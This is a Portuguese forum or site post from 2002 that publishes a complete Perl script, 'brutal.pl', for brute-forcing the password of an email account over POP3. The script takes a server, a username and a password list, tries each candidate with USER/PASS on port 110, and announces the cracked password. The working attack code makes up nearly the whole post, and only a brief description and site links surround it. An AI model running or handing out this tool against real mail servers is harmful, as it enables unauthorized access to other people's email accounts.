Brutal Force Attack
Publicado por Fábio Berbert de Paula 13/11/2002
[ Hits: 16.202 ]
Homepage: https://fabio.automatizando.dev
Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.
#!/usr/bin/perl ############################################# # brutal.pl # # Programa que simula um ataque brutal force # em servidores de email através da tentativa # de invasão por adivinhação de senha. # # Programado por: Fábio Berbert de Paula # E-mail: fabio@vivaolinux.com.br # Web Site: www.vivaolinux.com.br # # Rio de Janeiro, 12 de Agosto de 2002 # ########################################## use strict; use IO::Socket; if ($#ARGV != 2) { print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n"; print "\tpopserver = servidor de email\n\tusername = nome do usuário\n"; print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n"; exit(0); } my ($server,$user,$pwfile) = @ARGV; if (! -f $pwfile) { print "Erro: $pwfile não é um nome de arquivo válido!\n"; exit; } # para cada senha, tente invadir open(R,$pwfile); while (<R>) { chomp; tryout($server,$user,$_); } close(R); sub tryout { my ($server,$user,$passwd) = @_; my $state; print "Tentativa: $passwd ...\n"; my $connex = new IO::Socket::INET->new( PeerAddr => $server, PeerPort => "110", Proto => "tcp", Type => SOCK_STREAM, Timeout => "30" ); if (!defined($connex)) { print "Erro ao conectar ao servidor $server ...\n"; exit(0); } $state = &readsock($connex); $connex->send("USER $user\r\n"); $state = &readsock($connex); if ($state !~ /^\+OK/) { next; } $connex->send("PASS $passwd\r\n"); $state = &readsock($connex); if ($state =~ /^\+OK/) { print "Cracked!!! A senha do usuário $user é $passwd\n"; exit; } $connex -> close; sleep(5); } sub readsock { my ($socket) = @_; my $data = ''; my $buf = ''; while ($buf !~ /\n$/) { $buf=<$socket>; $data .= $buf; } return $data; }
Script para encontrar vulnerabilidades no BIND
Como gerar qualquer emoji ou símbolo unicode a partir do seu teclado
Instalar e Configurar o Slackware Linux em 2025
Como configurar os repositórios do apt no Debian 12 em 2025
Passkeys: A Evolução da Autenticação Digital
Instalação de distro Linux em computadores, netbooks, etc, em rede com o Clonezilla
Como dividir duas janelas igualmente e lado-a-lado na sua tela
Configurando o Conky para iniciar corretamente no sistema
3 configurações básicas que podem melhorar muito a sua edição pelo editor nano
Quero reviver um computador antigo mas tive problemas (12)
como funciona endereçamento ip? (6)